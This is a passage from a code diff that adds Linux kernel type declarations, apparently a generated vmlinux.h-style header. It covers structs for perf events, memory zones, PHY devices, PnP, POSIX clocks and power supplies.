+ u64 id; + const char *event_str_ht; + const char *event_str_noht; +}; + +struct perf_pmu_events_hybrid_attr { + struct device_attribute attr; + u64 id; + const char *event_str; + u64 pmu_type; +}; + +struct perf_pmu_format_hybrid_attr { + struct device_attribute attr; + u64 pmu_type; +}; + +typedef unsigned long (*perf_copy_f)(void *, const void *, unsigned long, unsigned long); + +struct perf_raw_frag { + union { + struct perf_raw_frag *next; + unsigned long pad; + }; + perf_copy_f copy; + void *data; + u32 size; +} __attribute__((packed)); + +struct perf_raw_record { + struct perf_raw_frag frag; + u32 size; +}; + +struct perf_read_data { + struct perf_event *event; + bool group; + int ret; +}; + +struct perf_read_event { + struct perf_event_header header; + u32 pid; + u32 tid; +}; + +struct sched_state { + int weight; + int event; + int counter; + int unassigned; + int nr_gp; + u64 used; +}; + +struct perf_sched { + int max_weight; + int max_events; + int max_gp; + int saved_states; + struct event_constraint **constraints; + struct sched_state state; + struct sched_state saved[2]; +}; + +struct perf_switch_event { + struct task_struct *task; + struct task_struct *next_prev; + struct { + struct perf_event_header header; + u32 next_prev_pid; + u32 next_prev_tid; + } event_id; +}; + +struct perf_task_event { + struct task_struct *task; + struct perf_event_context *task_ctx; + struct { + struct perf_event_header header; + u32 pid; + u32 ppid; + u32 tid; + u32 ptid; + u64 time; + } event_id; +}; + +struct perf_text_poke_event { + const void *old_bytes; + const void *new_bytes; + size_t pad; + u16 old_len; + u16 new_len; + struct { + struct perf_event_header header; + u64 addr; + } event_id; +}; + +struct pericom8250 { + void *virt; + unsigned int nr; + int line[0]; +}; + +struct pernet_operations { + struct list_head list; + int (*init)(struct net *); + void (*pre_exit)(struct net *); + void (*exit)(struct net *); + void (*exit_batch)(struct list_head *); + void (*exit_batch_rtnl)(struct list_head *, struct list_head *); + unsigned int * const id; + const size_t size; +}; + +struct skb_array { + struct ptr_ring ring; +}; + +struct pfifo_fast_priv { + struct skb_array q[3]; +}; + +struct zone { + unsigned long _watermark[4]; + unsigned long watermark_boost; + unsigned long nr_reserved_highatomic; + long lowmem_reserve[4]; + int node; + struct pglist_data *zone_pgdat; + struct per_cpu_pages __attribute__((btf_type_tag("percpu"))) *per_cpu_pageset; + struct per_cpu_zonestat __attribute__((btf_type_tag("percpu"))) *per_cpu_zonestats; + int pageset_high_min; + int pageset_high_max; + int pageset_batch; + unsigned long zone_start_pfn; + atomic_long_t managed_pages; + unsigned long spanned_pages; + unsigned long present_pages; + const char *name; + int initialized; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + struct free_area free_area[11]; + unsigned long flags; + spinlock_t lock; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + unsigned long percpu_drift_mark; + unsigned long compact_cached_free_pfn; + unsigned long compact_cached_migrate_pfn[2]; + unsigned long compact_init_migrate_pfn; + unsigned long compact_init_free_pfn; + unsigned int compact_considered; + unsigned int compact_defer_shift; + int compact_order_failed; + bool compact_blockskip_flush; + bool contiguous; + long: 0; + struct cacheline_padding _pad3_; + atomic_long_t vm_stat[10]; + atomic_long_t vm_numa_event[6]; +}; + +struct zoneref { + struct zone *zone; + int zone_idx; +}; + +struct zonelist { + struct zoneref _zonerefs[4097]; +}; + +struct pglist_data { + struct zone node_zones[4]; + struct zonelist node_zonelists[2]; + int nr_zones; + unsigned long node_start_pfn; + unsigned long node_present_pages; + unsigned long node_spanned_pages; + int node_id; + wait_queue_head_t kswapd_wait; + wait_queue_head_t pfmemalloc_wait; + wait_queue_head_t reclaim_wait[4]; + atomic_t nr_writeback_throttled; + unsigned long nr_reclaim_start; + struct task_struct *kswapd; + int kswapd_order; + enum zone_type kswapd_highest_zoneidx; + int kswapd_failures; + int kcompactd_max_order; + enum zone_type kcompactd_highest_zoneidx; + wait_queue_head_t kcompactd_wait; + struct task_struct *kcompactd; + bool proactive_compact_trigger; + unsigned long totalreserve_pages; + unsigned long min_unmapped_pages; + unsigned long min_slab_pages; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + struct deferred_split deferred_split_queue; + struct lruvec __lruvec; + unsigned long flags; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + struct per_cpu_nodestat __attribute__((btf_type_tag("percpu"))) *per_cpu_nodestats; + atomic_long_t vm_stat[44]; + struct memory_tier __attribute__((btf_type_tag("rcu"))) *memtier; + long: 64; + long: 64; +}; + +struct pgv { + char *buffer; +}; + +struct phc_vclocks_reply_data { + struct ethnl_reply_data base; + int num; + int *index; +}; + +struct phy_attrs { + u32 bus_width; + u32 max_link_rate; + enum phy_mode mode; +}; + +struct phy_ops; + +struct phy___2 { + struct device dev; + int id; + const struct phy_ops *ops; + struct mutex mutex; + int init_count; + int power_count; + struct phy_attrs attrs; + struct regulator *pwr; + struct dentry *debugfs; +}; + +struct phy_c45_device_ids { + u32 devices_in_package; + u32 mmds_present; + u32 device_ids[32]; +}; + +struct phy_cfg_pair { + u32 addr; + u32 data; +}; + +struct phy_configure_opts_mipi_dphy { + unsigned int clk_miss; + unsigned int clk_post; + unsigned int clk_pre; + unsigned int clk_prepare; + unsigned int clk_settle; + unsigned int clk_term_en; + unsigned int clk_trail; + unsigned int clk_zero; + unsigned int d_term_en; + unsigned int eot; + unsigned int hs_exit; + unsigned int hs_prepare; + unsigned int hs_settle; + unsigned int hs_skip; + unsigned int hs_trail; + unsigned int hs_zero; + unsigned int init; + unsigned int lpx; + unsigned int ta_get; + unsigned int ta_go; + unsigned int ta_sure; + unsigned int wakeup; + unsigned long hs_clk_rate; + unsigned long lp_clk_rate; + unsigned char lanes; +}; + +struct phy_configure_opts_dp { + unsigned int link_rate; + unsigned int lanes; + unsigned int voltage[4]; + unsigned int pre[4]; + u8 ssc: 1; + u8 set_rate: 1; + u8 set_lanes: 1; + u8 set_voltages: 1; +}; + +struct phy_configure_opts_lvds { + unsigned int bits_per_lane_and_dclk_cycle; + unsigned long differential_clk_rate; + unsigned int lanes; + bool is_slave; +}; + +union phy_configure_opts { + struct phy_configure_opts_mipi_dphy mipi_dphy; + struct phy_configure_opts_dp dp; + struct phy_configure_opts_lvds lvds; +}; + +struct phylink; + +struct pse_control; + +struct phy_driver; + +struct phy_device { + struct mdio_device mdio; + const struct phy_driver *drv; + struct device_link *devlink; + u32 phyindex; + u32 phy_id; + struct phy_c45_device_ids c45_ids; + unsigned int is_c45: 1; + unsigned int is_internal: 1; + unsigned int is_pseudo_fixed_link: 1; + unsigned int is_gigabit_capable: 1; + unsigned int has_fixups: 1; + unsigned int suspended: 1; + unsigned int suspended_by_mdio_bus: 1; + unsigned int sysfs_links: 1; + unsigned int loopback_enabled: 1; + unsigned int downshifted_rate: 1; + unsigned int is_on_sfp_module: 1; + unsigned int mac_managed_pm: 1; + unsigned int wol_enabled: 1; + unsigned int autoneg: 1; + unsigned int link: 1; + unsigned int autoneg_complete: 1; + unsigned int interrupts: 1; + unsigned int irq_suspended: 1; + unsigned int irq_rerun: 1; + unsigned int default_timestamp: 1; + int rate_matching; + enum phy_state state; + u32 dev_flags; + phy_interface_t interface; + unsigned long possible_interfaces[1]; + int speed; + int duplex; + int port; + int pause; + int asym_pause; + u8 master_slave_get; + u8 master_slave_set; + u8 master_slave_state; + unsigned long supported[2]; + unsigned long advertising[2]; + unsigned long lp_advertising[2]; + unsigned long adv_old[2]; + unsigned long supported_eee[2]; + unsigned long advertising_eee[2]; + bool eee_enabled; + unsigned long host_interfaces[1]; + u32 eee_broken_modes; + bool enable_tx_lpi; + struct eee_config eee_cfg; + struct list_head leds; + int irq; + void *priv; + struct phy_package_shared *shared; + struct sk_buff *skb; + void *ehdr; + struct nlattr *nest; + struct delayed_work state_queue; + struct mutex lock; + bool sfp_bus_attached; + struct sfp_bus *sfp_bus; + struct phylink *phylink; + struct net_device *attached_dev; + struct mii_timestamper *mii_ts; + struct pse_control *psec; + u8 mdix; + u8 mdix_ctrl; + int pma_extable; + unsigned int link_down_events; + void (*phy_link_change)(struct phy_device *, bool); + void (*adjust_link)(struct net_device *); +}; + +struct phy_device_node { + enum phy_upstream upstream_type; + union { + struct net_device *netdev; + struct phy_device *phydev; + } upstream; + struct sfp_bus *parent_sfp_bus; + struct phy_device *phy; +}; + +struct phy_driver { + struct mdio_driver_common mdiodrv; + u32 phy_id; + char *name; + u32 phy_id_mask; + const unsigned long * const features; + u32 flags; + const void *driver_data; + int (*soft_reset)(struct phy_device *); + int (*config_init)(struct phy_device *); + int (*probe)(struct phy_device *); + int (*get_features)(struct phy_device *); + int (*get_rate_matching)(struct phy_device *, phy_interface_t); + int (*suspend)(struct phy_device *); + int (*resume)(struct phy_device *); + int (*config_aneg)(struct phy_device *); + int (*aneg_done)(struct phy_device *); + int (*read_status)(struct phy_device *); + int (*config_intr)(struct phy_device *); + irqreturn_t (*handle_interrupt)(struct phy_device *); + void (*remove)(struct phy_device *); + int (*match_phy_device)(struct phy_device *); + int (*set_wol)(struct phy_device *, struct ethtool_wolinfo *); + void (*get_wol)(struct phy_device *, struct ethtool_wolinfo *); + void (*link_change_notify)(struct phy_device *); + int (*read_mmd)(struct phy_device *, int, u16); + int (*write_mmd)(struct phy_device *, int, u16, u16); + int (*read_page)(struct phy_device *); + int (*write_page)(struct phy_device *, int); + int (*module_info)(struct phy_device *, struct ethtool_modinfo *); + int (*module_eeprom)(struct phy_device *, struct ethtool_eeprom *, u8 *); + int (*cable_test_start)(struct phy_device *); + int (*cable_test_tdr_start)(struct phy_device *, const struct phy_tdr_config *); + int (*cable_test_get_status)(struct phy_device *, bool *); + int (*get_sset_count)(struct phy_device *); + void (*get_strings)(struct phy_device *, u8 *); + void (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); + int (*get_tunable)(struct phy_device *, struct ethtool_tunable *, void *); + int (*set_tunable)(struct phy_device *, struct ethtool_tunable *, const void *); + int (*set_loopback)(struct phy_device *, bool); + int (*get_sqi)(struct phy_device *); + int (*get_sqi_max)(struct phy_device *); + int (*get_plca_cfg)(struct phy_device *, struct phy_plca_cfg *); + int (*set_plca_cfg)(struct phy_device *, const struct phy_plca_cfg *); + int (*get_plca_status)(struct phy_device *, struct phy_plca_status *); + int (*led_brightness_set)(struct phy_device *, u8, enum led_brightness); + int (*led_blink_set)(struct phy_device *, u8, unsigned long *, unsigned long *); + int (*led_hw_is_supported)(struct phy_device *, u8, unsigned long); + int (*led_hw_control_set)(struct phy_device *, u8, unsigned long); + int (*led_hw_control_get)(struct phy_device *, u8, unsigned long *); + int (*led_polarity_set)(struct phy_device *, int, unsigned long); +}; + +struct phy_fixup { + struct list_head list; + char bus_id[64]; + u32 phy_uid; + u32 phy_uid_mask; + int (*run)(struct phy_device *); +}; + +struct phy_link_topology { + struct xarray phys; + u32 next_phy_index; +}; + +struct phy_ops { + int (*init)(struct phy___2 *); + int (*exit)(struct phy___2 *); + int (*power_on)(struct phy___2 *); + int (*power_off)(struct phy___2 *); + int (*set_mode)(struct phy___2 *, enum phy_mode, int); + int (*set_media)(struct phy___2 *, enum phy_media); + int (*set_speed)(struct phy___2 *, int); + int (*configure)(struct phy___2 *, union phy_configure_opts *); + int (*validate)(struct phy___2 *, enum phy_mode, int, union phy_configure_opts *); + int (*reset)(struct phy___2 *); + int (*calibrate)(struct phy___2 *); + int (*connect)(struct phy___2 *, int); + int (*disconnect)(struct phy___2 *, int); + void (*release)(struct phy___2 *); + struct module *owner; +}; + +struct phy_package_shared { + u8 base_addr; + struct device_node *np; + refcount_t refcnt; + unsigned long flags; + size_t priv_size; + void *priv; +}; + +struct phy_plca_cfg { + int version; + int enabled; + int node_id; + int node_cnt; + int to_tmr; + int burst_cnt; + int burst_tmr; +}; + +struct phy_plca_status { + bool pst; +}; + +struct phy_reg { + u16 reg; + u16 val; +}; + +struct phy_req_info { + struct ethnl_req_info base; + struct phy_device_node *pdn; +}; + +struct phy_setting { + u32 speed; + u8 duplex; + u8 bit; +}; + +struct rtw_phy_cond { + u32 rfe: 8; + u32 intf: 4; + u32 pkg: 4; + u32 plat: 4; + u32 intf_rsvd: 4; + u32 cut: 4; + u32 branch: 2; + u32 neg: 1; + u32 pos: 1; +}; + +union phy_table_tile { + struct rtw_phy_cond cond; + struct phy_cfg_pair cfg; +}; + +struct phy_tdr_config { + u32 first; + u32 last; + u32 step; + s8 pair; +}; + +struct phylib_stubs { + int (*hwtstamp_get)(struct phy_device *, struct kernel_hwtstamp_config *); + int (*hwtstamp_set)(struct phy_device *, struct kernel_hwtstamp_config *, struct netlink_ext_ack *); +}; + +struct upid { + int nr; + struct pid_namespace *ns; +}; + +struct pid { + refcount_t count; + unsigned int level; + spinlock_t lock; + struct dentry *stashed; + u64 ino; + struct hlist_head tasks[4]; + struct hlist_head inodes; + wait_queue_head_t wait_pidfd; + struct callback_head rcu; + struct upid numbers[0]; +}; + +union proc_op { + int (*proc_get_link)(struct dentry *, struct path *); + int (*proc_show)(struct seq_file *, struct pid_namespace *, struct pid *, struct task_struct *); + int lsmid; +}; + +struct pid_entry { + const char *name; + unsigned int len; + umode_t mode; + const struct inode_operations *iop; + const struct file_operations *fop; + union proc_op op; +}; + +struct pid_namespace { + struct idr idr; + struct callback_head rcu; + unsigned int pid_allocated; + struct task_struct *child_reaper; + struct kmem_cache *pid_cachep; + unsigned int level; + struct pid_namespace *parent; + struct fs_pin *bacct; + struct user_namespace *user_ns; + struct ucounts *ucounts; + int reboot; + struct ns_common ns; + int memfd_noexec_scope; +}; + +struct pids_cgroup { + struct cgroup_subsys_state css; + atomic64_t counter; + atomic64_t limit; + int64_t watermark; + struct cgroup_file events_file; + struct cgroup_file events_local_file; + atomic64_t events[2]; + atomic64_t events_local[2]; +}; + +struct piix_host_priv { + const int *map; + u32 saved_iocfg; + void *sidpr; +}; + +struct piix_map_db { + const u32 mask; + const u16 port_enable; + const int map[0]; +}; + +struct pimhdr { + __u8 type; + __u8 reserved; + __be16 csum; +}; + +struct ping_iter_state { + struct seq_net_private p; + int bucket; + sa_family_t family; +}; + +struct ping_table { + struct hlist_head hash[64]; + spinlock_t lock; +}; + +struct pingfakehdr { + struct icmphdr icmph; + struct msghdr *msg; + sa_family_t family; + __wsum wcheck; +}; + +struct pingv6_ops { + int (*ipv6_recv_error)(struct sock *, struct msghdr *, int, int *); + void (*ip6_datagram_recv_common_ctl)(struct sock *, struct msghdr *, struct sk_buff *); + void (*ip6_datagram_recv_specific_ctl)(struct sock *, struct msghdr *, struct sk_buff *); + int (*icmpv6_err_convert)(u8, u8, int *); + void (*ipv6_icmp_error)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); + int (*ipv6_chk_addr)(struct net *, const struct in6_addr *, const struct net_device *, int); +}; + +struct pipe_buf_operations { + int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); + void (*release)(struct pipe_inode_info *, struct pipe_buffer *); + bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); + bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); +}; + +struct pipe_buffer { + struct page *page; + unsigned int offset; + unsigned int len; + const struct pipe_buf_operations *ops; + unsigned int flags; + unsigned long private; +}; + +struct pipe_inode_info { + struct mutex mutex; + wait_queue_head_t rd_wait; + wait_queue_head_t wr_wait; + unsigned int head; + unsigned int tail; + unsigned int max_usage; + unsigned int ring_size; + unsigned int nr_accounted; + unsigned int readers; + unsigned int writers; + unsigned int files; + unsigned int r_counter; + unsigned int w_counter; + bool poll_usage; + struct page *tmp_page; + struct fasync_struct *fasync_readers; + struct fasync_struct *fasync_writers; + struct pipe_buffer *bufs; + struct user_struct *user; +}; + +struct pipe_wait { + struct trace_iterator *iter; + int wait_index; +}; + +struct pkcs1pad_ctx { + struct crypto_akcipher *child; + unsigned int key_size; +}; + +struct rsa_asn1_template; + +struct pkcs1pad_inst_ctx { + struct crypto_akcipher_spawn spawn; + const struct rsa_asn1_template *digest_info; +}; + +struct pkcs1pad_request { + struct scatterlist in_sg[2]; + struct scatterlist out_sg[1]; + uint8_t *in_buf; + uint8_t *out_buf; + struct akcipher_request child_req; +}; + +struct x509_certificate; + +struct pkcs7_signed_info; + +struct pkcs7_message { + struct x509_certificate *certs; + struct x509_certificate *crl; + struct pkcs7_signed_info *signed_infos; + u8 version; + bool have_authattrs; + enum OID data_type; + size_t data_len; + size_t data_hdrlen; + const void *data; +}; + +struct pkcs7_parse_context { + struct pkcs7_message *msg; + struct pkcs7_signed_info *sinfo; + struct pkcs7_signed_info **ppsinfo; + struct x509_certificate *certs; + struct x509_certificate **ppcerts; + unsigned long data; + enum OID last_oid; + unsigned int x509_index; + unsigned int sinfo_index; + const void *raw_serial; + unsigned int raw_serial_size; + unsigned int raw_issuer_size; + const void *raw_issuer; + const void *raw_skid; + unsigned int raw_skid_size; + bool expect_skid; +}; + +struct pkcs7_signed_info { + struct pkcs7_signed_info *next; + struct x509_certificate *signer; + unsigned int index; + bool unsupported_crypto; + bool blacklisted; + const void *msgdigest; + unsigned int msgdigest_len; + unsigned int authattrs_len; + const void *authattrs; + unsigned long aa_set; + time64_t signing_time; + struct public_key_signature *sig; +}; + +struct pkru_state { + u32 pkru; + u32 pad; +}; + +struct plat_serial8250_port { + unsigned long iobase; + void *membase; + resource_size_t mapbase; + resource_size_t mapsize; + unsigned int uartclk; + unsigned int irq; + unsigned long irqflags; + void *private_data; + unsigned char regshift; + unsigned char iotype; + unsigned char hub6; + unsigned char has_sysrq; + unsigned int type; + upf_t flags; + u16 bugs; + unsigned int (*serial_in)(struct uart_port *, int); + void (*serial_out)(struct uart_port *, int, int); + u32 (*dl_read)(struct uart_8250_port *); + void (*dl_write)(struct uart_8250_port *, u32); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + unsigned int (*get_mctrl)(struct uart_port *); + int (*handle_irq)(struct uart_port *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + void (*handle_break)(struct uart_port *); +}; + +struct mfd_cell; + +struct platform_device_id; + +struct platform_device { + const char *name; + int id; + bool id_auto; + struct device dev; + u64 platform_dma_mask; + struct device_dma_parameters dma_parms; + u32 num_resources; + struct resource *resource; + const struct platform_device_id *id_entry; + const char *driver_override; + struct mfd_cell *mfd_cell; + struct pdev_archdata archdata; +}; + +struct platform_device_id { + char name[20]; + kernel_ulong_t driver_data; +}; + +struct platform_device_info { + struct device *parent; + struct fwnode_handle *fwnode; + bool of_node_reused; + const char *name; + int id; + const struct resource *res; + unsigned int num_res; + const void *data; + size_t size_data; + u64 dma_mask; + const struct property_entry *properties; +}; + +struct platform_driver { + int (*probe)(struct platform_device *); + union { + void (*remove)(struct platform_device *); + void (*remove_new)(struct platform_device *); + }; + void (*shutdown)(struct platform_device *); + int (*suspend)(struct platform_device *, pm_message_t); + int (*resume)(struct platform_device *); + struct device_driver driver; + const struct platform_device_id *id_table; + bool prevent_deferred_probe; + bool driver_managed_dma; +}; + +struct platform_hibernation_ops { + int (*begin)(pm_message_t); + void (*end)(void); + int (*pre_snapshot)(void); + void (*finish)(void); + int (*prepare)(void); + int (*enter)(void); + void (*leave)(void); + int (*pre_restore)(void); + void (*restore_cleanup)(void); + void (*recover)(void); +}; + +struct platform_object { + struct platform_device pdev; + char name[0]; +}; + +struct platform_s2idle_ops { + int (*begin)(void); + int (*prepare)(void); + int (*prepare_late)(void); + void (*check)(void); + bool (*wake)(void); + void (*restore_early)(void); + void (*restore)(void); + void (*end)(void); +}; + +struct platform_suspend_ops { + int (*valid)(suspend_state_t); + int (*begin)(suspend_state_t); + int (*prepare)(void); + int (*prepare_late)(void); + int (*enter)(suspend_state_t); + void (*wake)(void); + void (*finish)(void); + bool (*suspend_again)(void); + void (*end)(void); + void (*recover)(void); +}; + +struct plca_reply_data { + struct ethnl_reply_data base; + struct phy_plca_cfg plca_cfg; + struct phy_plca_status plca_st; +}; + +struct pm_clk_notifier_block { + struct notifier_block nb; + struct dev_pm_domain *pm_domain; + char *con_ids[0]; +}; + +struct pm_clock_entry { + struct list_head node; + char *con_id; + struct clk *clk; + enum pce_status status; + bool enabled_when_prepared; +}; + +struct pm_subsys_data { + spinlock_t lock; + unsigned int refcount; + unsigned int clock_op_might_sleep; + struct mutex clock_mutex; + struct list_head clock_list; +}; + +struct pm_vt_switch { + struct list_head head; + struct device *dev; + bool required; +}; + +struct pmu_event_list { + raw_spinlock_t lock; + struct list_head list; +}; + +struct pneigh_entry { + struct pneigh_entry *next; + possible_net_t net; + struct net_device *dev; + netdevice_tracker dev_tracker; + u32 flags; + u8 protocol; + u32 key[0]; +}; + +struct pnp_protocol; + +struct pnp_id; + +struct pnp_card { + struct device dev; + unsigned char number; + struct list_head global_list; + struct list_head protocol_list; + struct list_head devices; + struct pnp_protocol *protocol; + struct pnp_id *id; + char name[50]; + unsigned char pnpver; + unsigned char productver; + unsigned int serial; + unsigned char checksum; + struct proc_dir_entry *procdir; +}; + +struct pnp_card_device_id { + __u8 id[8]; + kernel_ulong_t driver_data; + struct { + __u8 id[8]; + } devs[8]; +}; + +struct pnp_device_id; + +struct pnp_driver { + const char *name; + const struct pnp_device_id *id_table; + unsigned int flags; + int (*probe)(struct pnp_dev *, const struct pnp_device_id *); + void (*remove)(struct pnp_dev *); + void (*shutdown)(struct pnp_dev *); + int (*suspend)(struct pnp_dev *, pm_message_t); + int (*resume)(struct pnp_dev *); + struct device_driver driver; +}; + +struct pnp_card_link; + +struct pnp_card_driver { + struct list_head global_list; + char *name; + const struct pnp_card_device_id *id_table; + unsigned int flags; + int (*probe)(struct pnp_card_link *, const struct pnp_card_device_id *); + void (*remove)(struct pnp_card_link *); + int (*suspend)(struct pnp_card_link *, pm_message_t); + int (*resume)(struct pnp_card_link *); + struct pnp_driver link; +}; + +struct pnp_card_link { + struct pnp_card *card; + struct pnp_card_driver *driver; + void *driver_data; + pm_message_t pm_state; +}; + +struct pnp_dev { + struct device dev; + u64 dma_mask; + unsigned int number; + int status; + struct list_head global_list; + struct list_head protocol_list; + struct list_head card_list; + struct list_head rdev_list; + struct pnp_protocol *protocol; + struct pnp_card *card; + struct pnp_driver *driver; + struct pnp_card_link *card_link; + struct pnp_id *id; + int active; + int capabilities; + unsigned int num_dependent_sets; + struct list_head resources; + struct list_head options; + char name[50]; + int flags; + struct proc_dir_entry *procent; + void *data; +}; + +struct pnp_device_id { + __u8 id[8]; + kernel_ulong_t driver_data; +}; + +struct pnp_dma { + unsigned char map; + unsigned char flags; +}; + +struct pnp_fixup { + char id[7]; + void (*quirk_function)(struct pnp_dev *); +}; + +struct pnp_id { + char id[8]; + struct pnp_id *next; +}; + +struct pnp_info_buffer { + char *buffer; + char *curr; + unsigned long size; + unsigned long len; + int stop; + int error; +}; + +typedef struct pnp_info_buffer pnp_info_buffer_t; + +struct pnp_irq { + pnp_irq_mask_t map; + unsigned char flags; +}; + +struct pnp_mem { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_size_t size; + unsigned char flags; +}; + +struct pnp_port { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_size_t size; + unsigned char flags; +}; + +struct pnp_option { + struct list_head list; + unsigned int flags; + unsigned long type; + union { + struct pnp_port port; + struct pnp_irq irq; + struct pnp_dma dma; + struct pnp_mem mem; + } u; +}; + +struct pnp_protocol { + struct list_head protocol_list; + char *name; + int (*get)(struct pnp_dev *); + int (*set)(struct pnp_dev *); + int (*disable)(struct pnp_dev *); + bool (*can_wakeup)(struct pnp_dev *); + int (*suspend)(struct pnp_dev *, pm_message_t); + int (*resume)(struct pnp_dev *); + unsigned char number; + struct device dev; + struct list_head cards; + struct list_head devices; +}; + +struct pnp_resource { + struct list_head list; + struct resource res; +}; + +struct pnvm_sku_package { + u8 rev; + u32 total_size; + u8 n_skus; + u32 reserved[2]; + u8 data[0]; +} __attribute__((packed)); + +struct pollfd { + int fd; + short events; + short revents; +}; + +struct poll_list { + struct poll_list *next; + unsigned int len; + struct pollfd entries[0]; +}; + +struct poll_table_entry { + struct file *filp; + __poll_t key; + wait_queue_entry_t wait; + wait_queue_head_t *wait_address; +}; + +struct poll_table_page { + struct poll_table_page *next; + struct poll_table_entry *entry; + struct poll_table_entry entries[0]; +}; + +struct poll_wqueues { + poll_table pt; + struct poll_table_page *table; + struct task_struct *polling_task; + int triggered; + int error; + int inline_index; + struct poll_table_entry inline_entries[9]; +}; + +struct pool_info { + struct mddev *mddev; + int raid_disks; +}; + +struct worker_pool; + +struct pool_workqueue { + struct worker_pool *pool; + struct workqueue_struct *wq; + int work_color; + int flush_color; + int refcnt; + int nr_in_flight[16]; + bool plugged; + int nr_active; + struct list_head inactive_works; + struct list_head pending_node; + struct list_head pwqs_node; + struct list_head mayday_node; + u64 stats[8]; + struct kthread_work release_work; + struct callback_head rcu; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct port_identity { + struct clock_identity clock_identity; + __be16 port_number; +}; + +struct posix_acl_entry { + short e_tag; + unsigned short e_perm; + union { + kuid_t e_uid; + kgid_t e_gid; + }; +}; + +struct posix_acl { + refcount_t a_refcount; + struct callback_head a_rcu; + unsigned int a_count; + struct posix_acl_entry a_entries[0]; +}; + +struct posix_acl_xattr_entry { + __le16 e_tag; + __le16 e_perm; + __le32 e_id; +}; + +struct posix_acl_xattr_header { + __le32 a_version; +}; + +struct posix_clock; + +struct posix_clock_context; + +struct posix_clock_operations { + struct module *owner; + int (*clock_adjtime)(struct posix_clock *, struct __kernel_timex *); + int (*clock_gettime)(struct posix_clock *, struct timespec64 *); + int (*clock_getres)(struct posix_clock *, struct timespec64 *); + int (*clock_settime)(struct posix_clock *, const struct timespec64 *); + long (*ioctl)(struct posix_clock_context *, unsigned int, unsigned long); + int (*open)(struct posix_clock_context *, fmode_t); + __poll_t (*poll)(struct posix_clock_context *, struct file *, poll_table *); + int (*release)(struct posix_clock_context *); + ssize_t (*read)(struct posix_clock_context *, uint, char __attribute__((btf_type_tag("user"))) *, size_t); +}; + +struct posix_clock { + struct posix_clock_operations ops; + struct cdev cdev; + struct device *dev; + struct rw_semaphore rwsem; + bool zombie; +}; + +struct posix_clock_context { + struct posix_clock *clk; + void *private_clkdata; +}; + +struct posix_clock_desc { + struct file *fp; + struct posix_clock *clk; +}; + +struct posix_cputimer_base { + u64 nextevt; + struct timerqueue_head tqhead; +}; + +struct posix_cputimers { + struct posix_cputimer_base bases[3]; + unsigned int timers_active; + unsigned int expiry_active; +}; + +struct posix_cputimers_work { + struct callback_head work; + struct mutex mutex; + unsigned int scheduled; +}; + +struct posix_msg_tree_node { + struct rb_node rb_node; + struct list_head msg_list; + int priority; +}; + +struct postprocess_bh_ctx { + struct work_struct work; + struct buffer_head *bh; +}; + +struct power_supply_desc; + +struct power_supply_battery_info; + +struct power_supply { + const struct power_supply_desc *desc; + char **supplied_to; + size_t num_supplicants; + char **supplied_from; + size_t num_supplies; + struct device_node *of_node; + void *drv_data; + struct device dev; + struct work_struct changed_work; + struct delayed_work deferred_register_work; + spinlock_t changed_lock; + bool changed; + bool initialized; + bool removing; + atomic_t use_cnt; + struct power_supply_battery_info *battery_info; + struct thermal_zone_device *tzd; + struct thermal_cooling_device *tcd; +}; + +struct power_supply_attr { + const char *prop_name; + char attr_name[31]; + struct device_attribute dev_attr; + const char * const *text_values; + int text_values_len; +}; + +struct power_supply_maintenance_charge_table; + +struct power_supply_battery_ocv_table; + +struct power_supply_resistance_temp_table; + +struct power_supply_vbat_ri_table; + +struct power_supply_battery_info { + unsigned int technology; + int energy_full_design_uwh; + int charge_full_design_uah; + int voltage_min_design_uv; + int voltage_max_design_uv; + int tricklecharge_current_ua; + int precharge_current_ua; + int precharge_voltage_max_uv; + int charge_term_current_ua; + int charge_restart_voltage_uv; + int overvoltage_limit_uv; + int constant_charge_current_max_ua; + int constant_charge_voltage_max_uv; + const struct power_supply_maintenance_charge_table *maintenance_charge; + int maintenance_charge_size; + int alert_low_temp_charge_current_ua; + int alert_low_temp_charge_voltage_uv; + int alert_high_temp_charge_current_ua; + int alert_high_temp_charge_voltage_uv; + int factory_internal_resistance_uohm; + int factory_internal_resistance_charging_uohm; + int ocv_temp[20]; + int temp_ambient_alert_min; + int temp_ambient_alert_max; + int temp_alert_min; + int temp_alert_max; + int temp_min; + int temp_max; + struct power_supply_battery_ocv_table *ocv_table[20]; + int ocv_table_size[20]; + struct power_supply_resistance_temp_table *resist_table; + int resist_table_size; + const struct power_supply_vbat_ri_table *vbat2ri_discharging; + int vbat2ri_discharging_size; + const struct power_supply_vbat_ri_table *vbat2ri_charging; + int vbat2ri_charging_size; + int bti_resistance_ohm; + int bti_resistance_tolerance; +}; + +struct power_supply_battery_ocv_table { + int ocv; + int capacity; +}; + +struct power_supply_config { + struct device_node *of_node; + struct fwnode_handle *fwnode; + void *drv_data; + const struct attribute_group **attr_grp; + char **supplied_to; + size_t num_supplicants; +}; + +union power_supply_propval; + +struct power_supply_desc { + const char *name; + enum power_supply_type type; + u8 charge_behaviours; + u32 usb_types; + const enum power_supply_property *properties; + size_t num_properties; + int (*get_property)(struct power_supply *, enum power_supply_property, union power_supply_propval *); + int (*set_property)(struct power_supply *, enum power_supply_property, const union power_supply_propval *); + int (*property_is_writeable)(struct power_supply *, enum power_supply_property); + void (*external_power_changed)(struct power_supply *); + void (*set_charged)(struct power_supply *); + bool no_thermal; + int use_for_apm; +}; + +struct power_supply_hwmon { + struct power_supply *psy; + unsigned long *props; +}; + +struct power_supply_maintenance_charge_table { + int charge_current_max_ua; + int charge_voltage_max_uv; + int 